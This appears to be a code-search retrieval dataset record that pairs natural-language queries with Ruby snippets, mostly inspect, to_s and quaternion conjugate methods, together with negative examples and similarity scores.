"def to_s\n\t\t\tsprintf(\"#<%s:0x%x size=%d>\", self.class.name, object_id, @size)\n\t\tend",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def inspect\n fields = serializable_hash.map { |k, v| \"#{k}=#{v}\" }\n \"#<#{self.class.name}:#{object_id} #{fields.join(' ')}>\"\n end",
"def to_s_id(obj)\n \"0x%x\" % [obj.object_id*2]\n end",
"def inspect\n obj_id = \"%x\" % (object_id << 1)\n \"#<#{self.class}:0x#{obj_id} @jid=\\\"#{@jid}\\\" @name=#{@name.inspect}>\"\n end",
"def inspect\n +\"#<#{self.class}:#{object_id.to_s(16)}>\"\n end",
"def to_s\n @string || @object.strftime(FORMAT)\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"use_local_cache=#{@use_local_cache.inspect}\"\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def inspect\n @_inspect ||= begin\n \"#<\" <<\n self.class.inspect <<\n (\":0x%014x\" % object_id) <<\n \">\"\n end\n end",
"def simple_generate(obj)\n case obj\n when NilClass, :undef\n 'null'\n when Fixnum, Float, TrueClass, FalseClass\n \"#{obj}\"\n else\n # Should be a string\n # keep string integers unquoted\n (obj =~ /\\A[-]?\\d+\\z/) ? obj : obj.to_json\n end\n end",
"def inspect\n str = +\"#<#{self.class.name}:0x#{object_id}\"\n str << \" id=\\\"#{@id}\\\"\" if @id\n str << '>'\n end",
"def serialize(object) end",
"def result_to_string(object)\n if object.is_a?(String) then\n return object\n else\n if defined?(awesome_inspect)\n return object.awesome_inspect({:plain=>true, :index=>false})\n elsif defined?(pretty_inspect)\n return object.pretty_inspect.chomp # Remove new line that PrettyInspect adds at the end https://www.ruby-forum.com/topic/113429\n else\n return object.inspect\n end\n end\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"key=#{key.inspect}\",\n \"data_type=#{data_type.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def simple_generate(obj)\n case obj\n when NilClass, :undef\n 'null'\n when Integer, Float, TrueClass, FalseClass\n \"#{obj}\"\n when String\n obj.to_json\n else\n # Should be a string\n # keep string integers unquoted\n (obj =~ /\\A[-]?(0|[1-9]\\d*)\\z/) ? obj : obj.to_json\n end\n end",
"def to_s\n if(@VAR_OBJECT == nil)\n return \"ID=[\" + @VAR_ID.to_s() + \"], Name=[\" + @VAR_NAME + \"], Value=[nil]\"\n else\n return \"ID=[\" + @VAR_ID.to_s() + \"], Name=[\" + @VAR_NAME + \"], Value=[\" + @VAR_OBJECT.to_s() + \"], Type=[\" + @VAR_OBJECT.class.to_s() + \"]\"\n end\n end",
"def to_s\n \"#<#{self.class}:0x%016x index=%d, id=%d, codec_type=:%s>\" %\n [ object_id, self[:index], self[:id], self[:codec][:codec_type] ]\n end",
"def inspect\n \"#<#{self.class}:#{type_sym}:#{object_id.to_s(16)}>\"\n end",
"def to_s()\n\t\t\t\"#{self.class} (#{self.__id__}):\"\n\t\tend",
"def inspect\n return sprintf(\n \"#<%s:%#0x REF:%s>\",\n self.class.to_s, self.object_id, self.ref\n )\n end",
"def dump(obj)\n obj.to_json if obj\n end",
"def inspect\n\t\treturn \"#<%s:0x%0x %s(%s) %p -> %p >\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id / 2,\n\t\t\tself.name,\n\t\t\tself.oid,\n\t\t\tself.desc,\n\t\t\tself.attr_oids,\n\t\t]\n\tend",
"def inspect #:nodoc:\n \"#<%s:0x%s '%s'>\" % [self.class, object_id, path]\n end",
"def to_s(obj = T.unsafe(nil)); end",
"def inspect\n obj_id = \"%x\" % (object_id << 1)\n \"#<#{self.class}:0x#{obj_id} @jid=\\\"#{jid}\\\" @node=#{node.inspect}>\"\n end",
"def encode(obj); end",
"def inspect\n \"#<#{self.class.name}:0x#{object_id.to_s(16)}>\"\n end",
"def inspect\n sprintf(\n \"#<%s:%#0x ID:%s>\", self.class.to_s, self.object_id, self.id\n )\n end",
"def encoded_string(obj)\n obj.to_s.encode('utf-8', invalid: :replace, undef: :replace)\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def inspect\n return \"#<#{self.class}:0x#{(self.object_id << 1).to_s(16)}>\"\n end",
"def inspect\n sprintf(\n \"#<%s:%#0x ID:%s>\",\n self.class.to_s, self.object_id, self.id\n )\n end",
"def getName()\n return @obj_name\n end",
"def to_s\n self.inspect\n end",
"def inspect\n return sprintf(\n \"#<%s:%#0x URI:%s>\",\n self.class.to_s, self.object_id, self.uri.to_s\n )\n end",
"def object\n @obj\n end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s\n self.ref\n end",
"def to_s\n \"#<#{self.class.name}:0x#{object_id.to_s(16).rjust(14, \"0\")} host='#{client.host}'>\"\n end",
"def inspect\n \"<#{self.class}:0x#{object_id.to_s(16)}>\"\n end",
"def inspect\n obj_id = \"%x\" % (object_id << 1)\n \"#<#{self.class}:0x#{obj_id} @muc_jid=\\\"#{muc_jid}\\\" @jid=\\\"#{jid}\\\" @nick=#{@nick.inspect} @affiliation=#{affiliation.inspect} @role=#{@role.inspect}>\"\n end",
"def to_s\n self.inspect\n end",
"def inspect\n \"#<#{self.class.name}:0x#{self.object_id.to_s(16)}>\"\n end",
"def to_s\n \"#{super}:#{Fiber.current.object_id}\"\n end",
"def to_s\n # Update length of the stream.\n @content[pn(:Length)] = @stream.length\n # Convert to String.\n out = []\n out << \"#{@element_id} #{@revision} obj\"\n out << @content.to_s\n out << @stream.to_s\n out << \"endobj\"\n return out.join(LF)\n end",
"def inspect\n object_identifier\n end",
"def inspect\n \"#<#{self.class.name}:0x#{object_id}\\n @base_url=\\\"#{@base_url}\\\"\\n @most_recent_page=#{@most_recent_page}>\"\n end",
"def to_s\n owner.to_s\n end",
"def dump(obj, io)\n io.puts obj.send(inspect_method)\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s()\n serialize.to_s()\n end",
"def title\n \"Object Class: #{@obj.class.name}\"\n end",
"def inspect\n \"#{ self.class }:0x#{ '%x' % (object_id << 1) }: #{ name }\"\n end",
"def to_s\n toString()\n end",
"def inspect\n \"(#{self.class.name}:#{'0x%08x' % (object_id * 2)})\"\n end",
"def to_s\n to_h.to_s\n end",
"def object\n @obj\n end"
] |
[
"0.7897086",
"0.7849092",
"0.7577642",
"0.7528425",
"0.75139254",
"0.73215187",
"0.73002166",
"0.73002166",
"0.7273724",
"0.7173728",
"0.7171099",
"0.71517575",
"0.70949596",
"0.70807034",
"0.70685",
"0.7067048",
"0.70640725",
"0.7045982",
"0.6963688",
"0.6837255",
"0.6809143",
"0.67810947",
"0.67790884",
"0.6761364",
"0.67040586",
"0.6698351",
"0.6698351",
"0.6698351",
"0.6698351",
"0.6694897",
"0.6687986",
"0.667914",
"0.6673723",
"0.6652358",
"0.6648574",
"0.6638347",
"0.6633948",
"0.6631943",
"0.6620291",
"0.66116875",
"0.66093194",
"0.6580572",
"0.6579727",
"0.65783644",
"0.6575702",
"0.6563276",
"0.65336645",
"0.65152323",
"0.6500112",
"0.64816284",
"0.6475195",
"0.6475038",
"0.647116",
"0.64634466",
"0.6438948",
"0.6431836",
"0.64287674",
"0.64275193",
"0.64181805",
"0.64179194",
"0.6416247",
"0.64150345",
"0.64069295",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.64061403",
"0.6400041",
"0.63993627",
"0.6394977",
"0.63920546",
"0.6389835",
"0.6388144",
"0.63862497",
"0.6384513",
"0.6365967",
"0.6360265",
"0.6360262",
"0.63589144",
"0.63568914",
"0.63568914",
"0.6348307",
"0.6345143",
"0.63392967",
"0.63376874",
"0.6337126",
"0.63357043"
] |
0.0
|
-1
|
Returns a string containing a humanreadable representation of _obj_.
|
def inspect
"(#{self})"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n @object.to_s\n end",
"def to_s\n object.to_s\n end",
"def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{@obj.getName}>\"\n end",
"def format_object(obj)\n if obj.kind_of? Exception\n return \"Caught #{obj.class}: #{obj.message}\\n\\t\" +\n (obj.backtrace.nil? ? [] : obj.backtrace[0...@depth]).join(\"\\n\\t\")\n elsif obj.kind_of? String\n return obj\n else # inspect the object\n return \"#{obj.class}: #{obj.inspect}\"\n end\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{fullName}>\"\n end",
"def any_to_s(obj)\n obj.to_s + \":#{obj.class}\"\n rescue\n sprintf(\"#<%s:0x%lx>\", obj.class, obj.__id__)\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def to_s\n \"#{self.class.to_s}::<#{object_id}> Args: #{args}\"\n end",
"def to_s_safe(obj)\n if obj.respond_to?(:to_s)\n obj.to_s\n else\n 'to_s error'\n end\n end",
"def inspect() \"~#{@obj.inspect}~\" ; end",
"def inspect\n sprintf(\"#<%s:%#0x(%s)>\", self.class.name, object_id, to_s)\n end",
"def serialize(object)\n object.to_s\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def prettify(obj)\n # Most look best with pretty_inspect\n str = obj.pretty_inspect\n # Mashes need to be first converted to Hashes then pretty_inspect\n if obj.kind_of? Mash\n str = obj.to_hash.pretty_inspect\n end\n # For Arrays, pretty_inspect displays one value per line which\n # uses up too much real estate\n if obj.kind_of? Array\n str = obj.inspect\n end\n # Manually format Hashes so keys and values each display in columns\n if obj.kind_of? Hash\n key_length = 0\n obj.keys.each do |key|\n key_length = key.length if key.length > key_length\n end\n buf = []\n obj.each do |key,value|\n buf << sprintf(\"%-#{key_length}.#{key_length}s => %s\", key, value)\n end\n str = buf.join(\"\\n\")\n end\n str\n end",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def inspect\n String.new('#<').concat(\n self.class.name, ':',\n object_id.to_s, ' ', to_s, '>'\n )\n end",
"def to_text\n \"#{__getobj__.to_text} (OPTIONAL)\"\n end",
"def to_simple_str(object)\n object.respond_to?(:to_s) ? object.to_s : \"#<#{object.id.to_s(16)}>\"\n end",
"def to_s\n\t\t\tsprintf(\"#<%s:0x%x size=%d>\", self.class.name, object_id, @size)\n\t\tend",
"def title\n \"Object Class: #{@obj.class.name}\"\n end",
"def Obj\r\n obj.cap_first\r\n end",
"def inspect\n\t\t\treturn %Q{#<%s:0x%0x \"%s\">} % [\n\t\t\t\tself.class.name,\n\t\t\t\tself.object_id * 2,\n\t\t\t\tself.to_s,\n\t\t\t]\n\t\tend",
"def mu_pp(obj)\n if obj.is_a?(ActiveRecord::Base)\n obj.to_s\n else\n super\n end\n end",
"def result_to_string(object)\n if object.is_a?(String) then\n return object\n else\n if defined?(awesome_inspect)\n return object.awesome_inspect({:plain=>true, :index=>false})\n elsif defined?(pretty_inspect)\n return object.pretty_inspect.chomp # Remove new line that PrettyInspect adds at the end https://www.ruby-forum.com/topic/113429\n else\n return object.inspect\n end\n end\n end",
"def to_s\n \"<#{ self.class }##{ format('0x00%x', (object_id << 1)) } id:#{ id.inspect }>\"\n end",
"def to_s\n \"#{super}:#{object_id}\"\n end",
"def echo obj\n str = obj.to_s\n write str\n end",
"def inspect\n fields = serializable_hash.map { |k, v| \"#{k}=#{v}\" }\n \"#<#{self.class.name}:#{object_id} #{fields.join(' ')}>\"\n end",
"def to_s\n @string || @object.strftime(FORMAT)\n end",
"def name\n @object.to_s\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"use_local_cache=#{@use_local_cache.inspect}\"\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def inspect\n +\"#<#{self.class}:#{object_id.to_s(16)}>\"\n end",
"def inspect\n @_inspect ||= begin\n \"#<\" <<\n self.class.inspect <<\n (\":0x%014x\" % object_id) <<\n \">\"\n end\n end",
"def to_s_id(obj)\n \"0x%x\" % [obj.object_id*2]\n end",
"def deep_to_s(obj)\n if obj.is_a?(Hash)\n Hash[obj.map{|k,v| [k.to_s, v.to_s]}]\n else\n obj.to_s\n end\n end",
"def simple_generate(obj)\n case obj\n when NilClass, :undef\n 'null'\n when Fixnum, Float, TrueClass, FalseClass\n \"#{obj}\"\n else\n # Should be a string\n # keep string integers unquoted\n (obj =~ /\\A[-]?\\d+\\z/) ? obj : obj.to_json\n end\n end",
"def inspect\n\t\treturn \"#<%s:0x%0x %s(%s) %p -> %p >\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id / 2,\n\t\t\tself.name,\n\t\t\tself.oid,\n\t\t\tself.desc,\n\t\t\tself.attr_oids,\n\t\t]\n\tend",
"def display_value(obj)\n case\n when obj && observed_name\n \"#{obj.name} (#{observed_name})\"\n when obj\n \"#{obj.name}\"\n when observed_name\n \"#{observed_name}\"\n else\n \"\"\n end\n end",
"def inspect\n return sprintf(\n \"#<%s:%#0x REF:%s>\",\n self.class.to_s, self.object_id, self.ref\n )\n end",
"def pp_object(obj)\n object_address_group(obj) {\n seplist(obj.pretty_print_instance_variables, lambda { text ',' }) {|v|\n breakable\n v = v.to_s if Symbol === v\n text v\n text '='\n group(1) {\n breakable ''\n pp(obj.instance_eval(v))\n }\n }\n }\n end",
"def inspect\n sprintf(\n \"#<%s:%#0x ID:%s>\", self.class.to_s, self.object_id, self.id\n )\n end",
"def to_option_string(obj)\n case obj\n when PoolParty::Resources::Resource\n \"resources(:#{handle_types(obj.class.to_s.top_level_class.downcase.to_sym)} => \\\"#{obj.name}\\\")\"\n when Fixnum\n \"#{obj.to_i}\"\n when String\n \"\\\"#{obj}\\\"\"\n when Array\n if obj[1] && [:immediately, :delayed].include?(obj[1])\n \"#{to_option_string(obj[0])}, :#{obj[1]}\"\n else\n \"[ #{obj.map {|e| to_option_string(e) }.reject {|a| a.nil? || a.empty? }.join(\", \")} ]\"\n end \n when nil\n nil\n when Hash\n \"#{obj.map {|k,v| \":#{k} => #{to_option_string(v)}\" unless v == obj }.compact.join(\",\\n\")}\"\n else\n \"#{obj}\"\n end\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def inspect\n sprintf(\n \"#<%s:%#0x ID:%s>\",\n self.class.to_s, self.object_id, self.id\n )\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"key=#{key.inspect}\",\n \"data_type=#{data_type.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def inspect\n str = +\"#<#{self.class.name}:0x#{object_id}\"\n str << \" id=\\\"#{@id}\\\"\" if @id\n str << '>'\n end",
"def inspect_in_object(obj, opts)\n val = obj.send(name)\n str =\n begin\n val.inspect_with_options(opts)\n rescue NoMethodError\n val.inspect\n end\n (f=@format) ? (f % str) : str\n end",
"def simple_generate(obj)\n case obj\n when NilClass, :undef\n 'null'\n when Integer, Float, TrueClass, FalseClass\n \"#{obj}\"\n when String\n obj.to_json\n else\n # Should be a string\n # keep string integers unquoted\n (obj =~ /\\A[-]?(0|[1-9]\\d*)\\z/) ? obj : obj.to_json\n end\n end",
"def inspect\n \"#<#{self.class}:#{type_sym}:#{object_id.to_s(16)}>\"\n end",
"def to_s\n\t\tparts = [ self.oid ]\n\n\t\tparts << \"NAME %s\" % Treequel::Schema.qdescrs( self.names ) unless self.names.empty?\n\n\t\tparts << \"DESC '%s'\" % [ self.desc ] if self.desc\n\t\tparts << \"OBSOLETE\" if self.obsolete?\n\t\tparts << \"APPLIES %s\" % [ Treequel::Schema.oids(self.attr_oids) ]\n\t\tparts << self.extensions.strip unless self.extensions.empty?\n\n\t\treturn \"( %s )\" % [ parts.join(' ') ]\n\tend",
"def dump(obj, io)\n io.puts obj.send(inspect_method)\n end",
"def inspect\n obj_id = \"%x\" % (object_id << 1)\n \"#<#{self.class}:0x#{obj_id} @jid=\\\"#{@jid}\\\" @name=#{@name.inspect}>\"\n end",
"def obj_to_stripped_string obj\n case obj\n when Hash then obj.keys.map(&:to_s).sort.map { |key| [key.to_s.downcase, obj_to_stripped_string(obj[key.to_sym])].join('') }.join('')\n when Array then obj.map { |e| obj_to_stripped_string(e) }.join('')\n else obj.to_s\n end\n end",
"def inspect\n \"#<#{self.class.name}:0x#{object_id.to_s(16)}>\"\n end",
"def to_str\n fields.collect do |field, body|\n send(field) if body.type == Object\n end.compact.sort.join(' ')\n end",
"def inspect\n \"#<#{self.class.name}:0x#{object_id}\\n @base_url=\\\"#{@base_url}\\\"\\n @most_recent_page=#{@most_recent_page}>\"\n end",
"def to_s()\n\t\t\t\"#{self.class} (#{self.__id__}):\"\n\t\tend",
"def objet_designation\n \"Objet de classe #{objet.class} et d'ID ##{objet.id}\"\n end",
"def inspect\n return sprintf(\n \"#<%s:%#0x URI:%s>\",\n self.class.to_s, self.object_id, self.uri.to_s\n )\n end",
"def inspect\n \"#{ self.class }:0x#{ '%x' % (object_id << 1) }: #{ name }\"\n end",
"def inspect\n str = \"#<#{self.class}\"\n\n ids = (Thread.current[InspectKey] ||= [])\n if ids.include?(object_id)\n return str << ' ...>'\n end\n\n ids << object_id\n begin\n first = true\n for k,v in @table\n str << \",\" unless first\n first = false\n str << \" #{k}=#{v.inspect}\"\n end\n return str << '>'\n ensure\n ids.pop\n end\n end",
"def display_string(options, object, length = nil)\n result = (object.respond_to?:to_s) ? object.to_s : object.inspect\n return result[0..length-4] + '...' if length and result.length > length\n return result\n end",
"def inspect\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def inspect\n return \"#<#{self.class}:0x#{(self.object_id << 1).to_s(16)}>\"\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"state=#{state.inspect}\",\n \"description=#{description.inspect}\",\n \"adapter=#{adapter.name.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def inspect\n\t\treturn %{#<%s:0x%0x (%s)>} % [\n\t\t\tself.class.name,\n\t\t\tself.object_id * 2,\n\t\t\tself.component,\n\t\t]\n\tend",
"def to_s\n \"#<#{self.class}:0x%016x index=%d, id=%d, codec_type=:%s>\" %\n [ object_id, self[:index], self[:id], self[:codec][:codec_type] ]\n end",
"def inspect\n \"<#{self.class}:0x#{object_id.to_s(16)}>\"\n end",
"def inspect\n str = \"#<#{self.class}\"\n\n ids = (Thread.current[:__inspect_key__] ||= [])\n if ids.include?(object_id)\n return str << ' ...>'\n end\n\n ids << object_id\n begin\n first = true\n for k,v in @values\n str << \",\" unless first\n first = false\n str << \" #{k}=#{v.inspect}\"\n end\n if @lazy_values\n str << \",\" unless first\n str << \" ...\"\n end\n return str << '>'\n ensure\n ids.pop\n end\n end",
"def inspect\n obj_id = \"%x\" % (object_id << 1)\n \"#<#{self.class}:0x#{obj_id} @muc_jid=\\\"#{muc_jid}\\\" @jid=\\\"#{jid}\\\" @nick=#{@nick.inspect} @affiliation=#{affiliation.inspect} @role=#{@role.inspect}>\"\n end",
"def inspect\n object_identifier\n end",
"def inspect\n \"#<#{self.class.name}:0x#{self.object_id.to_s(16)}>\"\n end",
"def dump(obj)\n obj.to_json if obj\n end",
"def to_s\n inspect\n end",
"def inspect\n \"(#{self.class.name}:#{'0x%08x' % (object_id * 2)})\"\n end",
"def inspect\n attributes = [\n \"feature_name=#{feature_name.inspect}\",\n \"gate_key=#{gate_key.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def to_s\n \"#<#{self.class.name}:0x#{object_id.to_s(16).rjust(14, \"0\")} host='#{client.host}'>\"\n end",
"def inspect\n result = +\"#<#{self.class.name}:#{object_id}\"\n result << \" @name=\\\"#{name}\\\"\"\n result << \" @lhs=#{lhs.name}\"\n result << \" @rhs=#{rhs.inspect}\"\n result << \" @generative=#{@generative}>\"\n result\n end",
"def inspect\n result = \"#{self.class}[\"\n each_with_index { |obj, i| result << ', ' if i > 0; result << obj.inspect }\n result << \"]\"\n end",
"def display_string(options, object, length = nil)\n \":#{object}\"\n end",
"def to_s\n self.inspect\n end",
"def dump\n output = ''\n @objects_table.keys.sort.each do |key|\n object_entry = @objects_table[key]\n name = object_entry.__name__\n type = object_entry.__type__\n #\n # use the inspect to make ruby 1.8.7 and 1.9.3 compatible\n #\n object = lookup(type, name).to_hash.inspect\n output << \"#{type}(#{name}) = #{object}\\n\"\n end\n output\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def to_s()\n desc = \"person(\" + @id.to_s() + \",\" + @name\n if (@style != \"\")\n desc += \",\" + @style\n end\n desc += \",\" + @allegiance.to_s()\n desc += \",\" + @faction.to_s()\n desc += \",\" + @faction_for_chapter.to_s()\n if (@note != \"\")\n desc += \",\" + @note\n end\n desc += \")\"\n return desc\n end",
"def to_s\n to_h.to_s\n end",
"def inspect\n obj_id = \"%x\" % (object_id << 1)\n \"#<#{self.class}:0x#{obj_id} @jid=\\\"#{jid}\\\" @node=#{node.inspect}>\"\n end",
"def to_s\n if(@VAR_OBJECT == nil)\n return \"ID=[\" + @VAR_ID.to_s() + \"], Name=[\" + @VAR_NAME + \"], Value=[nil]\"\n else\n return \"ID=[\" + @VAR_ID.to_s() + \"], Name=[\" + @VAR_NAME + \"], Value=[\" + @VAR_OBJECT.to_s() + \"], Type=[\" + @VAR_OBJECT.class.to_s() + \"]\"\n end\n end",
"def to_s\n inspect.to_s\n end",
"def to_s\n self.inspect\n end",
"def to_s\n @string || @object.strftime(FORMAT).sub(\"+00:00\", 'Z').sub('.000', '')\n end",
"def to_s\n @string || @object.strftime(FORMAT).sub(\"+00:00\", 'Z').sub('.000', '')\n end",
"def render(obj)\n # We can't use a case statement here becuase \"when Hash\" doesn't work for\n # ActiveSupport::OrderedHash - respond_to?(:values) is a more reliable\n # indicator of hash-like behavior.\n if NilClass === obj\n print(\"null\")\n \n elsif TrueClass === obj\n print(\"true\")\n \n elsif FalseClass === obj\n print(\"false\")\n \n elsif String === obj\n print(escape_json_string(obj))\n \n elsif Symbol === obj\n print(\"\\\"#{obj}\\\"\")\n \n elsif Numeric === obj\n print(obj.to_s)\n \n elsif Time === obj\n print(obj.to_s)\n \n elsif obj.respond_to?(:keys)\n print(\"{\")\n indent_out\n last_key = obj.keys.last\n obj.each do |(key, val)|\n render(key)\n case val\n when Hash, Array\n indent_out\n print(\":\\n#{indent}\")\n render(val)\n indent_in\n else\n print(\": \")\n render(val)\n end\n print(\",\\n#{indent}\") unless key == last_key\n end\n indent_in\n print(\"}\")\n \n elsif Array === obj\n print(\"[\")\n indent_out\n last_index = obj.size - 1\n obj.each_with_index do |elem, index|\n render(elem)\n print(\",\\n#{indent}\") unless index == last_index\n end\n indent_in\n print(\"]\")\n \n else\n raise \"unrenderable object: #{obj.inspect}\"\n end\n end",
"def to_s\n inspect\n end",
"def to_s\n inspect\n end",
"def to_s\n return \"#{name} (#{hash})\"\n end",
"def inspect(max: 256)\n items = Array.wrap(object).map(&:class)\n items = items.tally.map { |cls, cnt| \"#{cnt} #{cls}\" }.presence\n items = items&.join(' / ') || 'empty'\n vars =\n instance_variables.excluding(:@object).map { |var|\n [var, instance_variable_get(var).inspect.truncate(max)]\n }.to_h\n vars = vars.merge!('@object': \"(#{items})\").map { |k, v| \"#{k}=#{v}\" }\n \"#<#{self.class.name}:#{object_id} %s>\" % vars.join(' ')\n end",
"def format(obj)\n case obj\n when Time\n obj.strftime(\"%Y-%m-%d\")\n when Date, Gem::Version, Gem::Requirement\n obj.to_s\n else\n obj\n end\n end"
] |
[
"0.7423372",
"0.7420134",
"0.7367416",
"0.7285436",
"0.7209587",
"0.711324",
"0.7067031",
"0.70242876",
"0.69852823",
"0.69777095",
"0.69775784",
"0.69267505",
"0.6894947",
"0.6886218",
"0.6886218",
"0.68712807",
"0.6715116",
"0.6715116",
"0.6715116",
"0.6715116",
"0.66884786",
"0.66582245",
"0.66491735",
"0.6624649",
"0.6621337",
"0.6599104",
"0.6597925",
"0.6580551",
"0.6531579",
"0.65176004",
"0.6495769",
"0.6489703",
"0.6478863",
"0.64484787",
"0.64444536",
"0.6431454",
"0.6427149",
"0.64004827",
"0.6386832",
"0.6380299",
"0.6377769",
"0.6370698",
"0.6353915",
"0.63359016",
"0.6314367",
"0.6310438",
"0.630689",
"0.6303662",
"0.63014704",
"0.62822825",
"0.6280966",
"0.6278202",
"0.62776524",
"0.62016",
"0.62000185",
"0.6192027",
"0.61900365",
"0.6186488",
"0.61837137",
"0.61635995",
"0.6156057",
"0.6146181",
"0.6142307",
"0.6141732",
"0.6131484",
"0.6126636",
"0.6122825",
"0.6113845",
"0.6107256",
"0.61023897",
"0.61019486",
"0.6100999",
"0.60978556",
"0.6089681",
"0.6086082",
"0.60843873",
"0.6083437",
"0.6072259",
"0.6071009",
"0.6060777",
"0.6057723",
"0.605707",
"0.60562253",
"0.60490817",
"0.60474664",
"0.60464114",
"0.60442",
"0.6041997",
"0.6039239",
"0.60250515",
"0.60237724",
"0.60219115",
"0.6013211",
"0.60129863",
"0.60129863",
"0.6011635",
"0.6010178",
"0.6010178",
"0.60052353",
"0.5996468",
"0.59954715"
] |
0.0
|
-1
|
Returns the conjugate of _obj_ q which is the quaternion q = a b_i_ c_j_ d_k_.
|
def conjugate
Quaternion.new(@a, -1 * @b, -1 * @c, -1 * @d)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def conjugate\r\n quaternion.conjugate!\r\n end",
"def conjugate\n\t\t\tself.class.new( -@elem[0], -@elem[1], -@elem[2], @elem[3] )\n\t\tend",
"def conjugate\n Complex(@real, -@image)\n end",
"def conjugate\n self\n end",
"def conjugate!\r\n set(@axis.mirror,@real)\r\n end",
"def conjugate_transpose\n self.transpose.complex_conjugate!\n end",
"def to_qt\n Qt::Quaternion.new(w, x, y, z)\n end",
"def to_s\r\n \"Quaternion: axis: x #{axis.x} y #{axis.y} z #{axis.z} real #{real}\"\r\n end",
"def conj\n Image.run_cmplx(self) { |x| x.complex :conj }\n end",
"def *(obj)\n if obj.kind_of?(Quaternion)\n concatenate(obj)\n else\n transform(obj)\n end\n end",
"def qconj\n\t\tself.class.new(@a, -@b)\n\tend",
"def conjugate\r\n self.data.map(&:conjugate)\r\n end",
"def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end",
"def to_cube\n CubeHex.new(@q, -@q-@r, @r)\n end",
"def to_cube\n CubeHex.new(@q, -@q-@r, @r)\n end",
"def conjugate(a, g)\n op(g, op(a, invert(g)))\n end",
"def inverse\r\n quaternion.inverse!\r\n end",
"def to_complex\n C.new(self, 0)\n end",
"def complex_conjugate(new_stype = self.stype)\n self.cast(new_stype, NMatrix::upcast(dtype, :complex64)).complex_conjugate!\n end",
"def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end",
"def find_direction(r_o, c_o, r_q, c_q)\n (Complex(c_o - c_q, r_o - r_q).phase / Math::PI * 4).round\nend",
